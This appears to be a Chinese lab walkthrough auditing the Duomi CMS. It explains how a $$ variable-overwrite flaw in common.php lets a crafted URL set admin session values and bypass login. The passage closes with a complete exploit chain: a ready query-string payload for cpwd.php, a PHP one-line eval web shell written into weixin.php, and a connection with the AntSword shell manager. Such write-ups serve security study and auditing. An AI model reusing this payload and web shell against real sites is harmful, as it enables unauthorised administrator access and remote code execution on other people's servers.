doumi变量覆盖漏洞总结(超详解)
靶场示例图
1、搜索变量覆盖的危险函数
1.1全局搜索extract(
发现没有结果,直接跳过这个函数
1.2全局搜索parse_str(
还是没有结果
1.3全局搜索$$
这里有116个结果,所以我们在函数定位后,要在文件中依次寻找有通用性的文件后缀内容,因为$$
常常出现在这些文件当中,如下所示;
//此类后缀的文件一般是函数库common.func.func..class..inc.
同时,$$
一般要与foreach函数一起用
综合上述的条件,我发现id=83符合
2、双击进入id=83
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
52-55行代码解析
foreach(Array('_GET','_POST','_COOKIE') as $_request):遍历数组'_GET'、'_POST'和'_COOKIE',将每个数组赋值给变量$_request;
foreach($$_request as $_k => $_v)这段代码是一个foreach循环,用于遍历一个名为$_request的数组。在循环中,$_k代表数组中的键,$_v代表对应的值;
_RunMagicQuotes($_v): 调用_RunMagicQuotes函数对$_v进行处理,得到处理后的值;
${$_k} =:将处理后的值赋给变量${$_k}
此时就要思考_RunMagicQuotes
函数的具体功能是什么了
搜索_RunMagicQuotes
函数
同样的也在这个文件里面
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
// 函数用于检查并处理魔术引号(已废弃的特性)
function _RunMagicQuotes(&$svar)
{
// 检查是否开启了魔术引号
if (!get_magic_quotes_gpc()) {
// 如果传入的变量是数组,则递归地对数组的每个元素应用魔术引号处理
if (is_array($svar)) {
foreach ($svar as $_k => $_v) {
$svar[$_k] = _RunMagicQuotes($_v); // 递归调用 _RunMagicQuotes() 函数处理数组元素,直到没有为止
}
} else {
// 如果传入的变量不是数组,则对其进行转义处理(使用 addslashes() 函数)
$svar = addslashes($svar); // 对变量进行转义处理,防止特殊字符引发的安全问题
}
}
return $svar; // 返回处理后的变量
}
继续审计28-34行
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
这段代码意思就是禁止传递参数为cfg_
和GLOBALS
,后面构造payload的时候就要注意!
继续审计17-24行代码
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
这里是适应不同的php版本,做的兼容性处理
重新整理思路
接下来就是尝试寻找调用这个创建变量的函数的位置了
由于原文件不存在危险函数,所以我们需要寻找包含common.php文件的文件(包含common.php的文件有可能会调用这个函数)
3、全局搜索common.php
因为变量覆盖漏洞,常用于进行构造不输入密码就直接登陆的payload,这里看到了控制登录的文件,于是我们点进去审计
进入/admin/login.php
这个文件中并没有找到可以利用的漏洞(就是没有可以构造变量的地方),但是这里还包含了一个文件,而这个文件的keepUser
函数被 /admin/login.php文件调用了,我们这里就进去看看有没有漏洞点
进入check.admin.php
发现这里开启了session_start(),这样正好可以实现我们的目标变量覆盖。但是还不知道session_start()里面变量的内容,所以我们要想办法知道session里面的内容。
这里我们向下审计,发现是有函数来记录登录状态的session的(如果实在是找不到,新手的话如果是本地搭建的网站,可以尝试去打印session来帮助自己入门)
112-114行就可以看出session中的记录内容
function keepUser()
{
if($this->userID!=""&&$this->groupid!="")
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen($admincachefile,'w');
fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
fclose($fp);
return 1;
}
else
{
return -1;
}
}
显然,我们需要构造的有:
$_SESSION[duomi_admin_id]=userID
$_SESSION[duomi_group_id]=groupid
$_SESSION[duomi_admin_name]=userName
现在的话就要思考,那么让这些值等于什么的时候才能是管理员权限呢?
userID与userName 分别是用户id,和用户名
此时我们要思考duomi_group_id代表的的含义
这里我们可以尝试搜索一下是否有admin_manger.php这个文件,因为这个文件在网站开发中记录着管理员对应的权重
所以我们现在可以开始构造payload了
构造payload
_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
此时要找到同时包含common.php文件和session_start()函数的文件
可以像这样进行路径的匹配
理论上这个都是可以进行变量覆盖的文件,这里我用cpwd.php作为例子
此时的payload应该是
http://www.doumi.com/member/cpwd.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=1
此时是未登录状态
上传payload后,再次访问(无需密码,直接登录了)
4、写入shell文件
这里进入后台之后,就要想着去上传木马文件,现在要寻找上传点
这里有个很明显的提示,说明我们如果改了上述的字段,就会写入到/data/admin/weixin.php文件里面
所以我们去审计weixin.php看看有没有代码过滤
这里没有过滤,很好,直接根据代码构造上传一句话木马
");?><?php eval($_REQUEST[666]);?>
上传
成功
5、连接中国蚁剑
连接成功